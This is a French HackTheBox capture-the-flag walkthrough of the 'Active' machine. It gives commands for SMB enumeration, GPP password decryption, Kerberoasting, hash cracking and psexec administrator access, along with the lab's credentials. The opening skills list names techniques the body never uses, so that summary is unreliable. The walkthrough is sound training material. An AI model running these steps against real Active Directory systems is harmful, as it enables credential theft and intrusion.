> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Compte rendu HackTheBox de Active {% embed url="" %} {% hint style="warning" %} **Compétences**: * Énumération SMB * Crackage d’un fichier ZIP protégé par mot de passe (fcrackzip) * Crackage et lecture d’un fichier .PFX (crackpkcs12) * Obtention d’un accès SSL avec Evil-WinRM * Fuite d’informations - Lecture de l’historique Powershell de l’utilisateur (pivotement utilisateur) * Exploitation de LAPS pour obtenir des mots de passe (Get-LAPSPasswords.ps1) (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **Énumération et Exploitation :** ### **Énumération SMB:** Utiliser crackmapexec pour lister les systèmes et trouver le nom de domaine. ```bash crackmapexec smb 10.10.10.100 ```

#### **Ajustement de l'heure avec NTP :** Ajuster l'heure de la machine cible pour éviter des problèmes ```bash ntpdate 10.10.10.100 ```

#### Configuration /etc/hosts : Ajout du contrôleur de domaine au fichier hosts pour autoriser le ping :

### **Liste des ressources partagées** Utilisez smbclient ou smbmap pour explorer les ressources partagées sur le réseau. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **Rechercher des fichiers spécifiques**: Explorer les répertoires à la recherche de fichiers pertinents ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

Le `groups.xml` un fichier est identifié, qui peut contenir des informations confidentielles. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **Déchiffrement du mot de passe :** Utilisez `gpp-decrypt` pour déchiffrer les mots de passe stockés. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **Validation des identifiants :** Utilisez crackmapexec pour vérifier si les identifiants sont valides ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **Exploration des autorisations :** Utilisez crackmapexec et smbmap pour explorer les permissions sur les partages réseau. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### Drapeau user.txt obtenu : ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **Connexion au contrôleur de domaine :** Utilisation de rpcclient pour se connecter au contrôleur de domaine et explorer les utilisateurs et les groupes : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - Pour identifier les membres du groupe administrateurs : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - Pour obtenir les utilisateurs d’un groupe spécifique : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - Pour lister les descriptions de tous les utilisateurs : ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## Vulnérabilité [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): La vulnérabilité Kerberoast est exploitée avec succès grâce à la commande suivante : ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` Cette commande récupère un ticket de service du Ticket Granting Service (TGS) qui exploite la vulnérabilité. Ensuite, pour obtenir le hash d’un administrateur, le paramètre -request est ajouté à la commande : ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **Exploitation finale :** ### **Cassage du hachage :** Utilisez John pour essayer de craquer les hashs obtenus. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **Validation des identifiants :** Utilisez crackmapexec pour valider les identifiants obtenus ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Exécution de Psexec :** Utilisez psexec.py pour obtenir un shell interactif en tant qu’administrateur. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **Drapeau final obtenu :** Obtention réussie du drapeau final une fois l’accès administrateur acquis.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.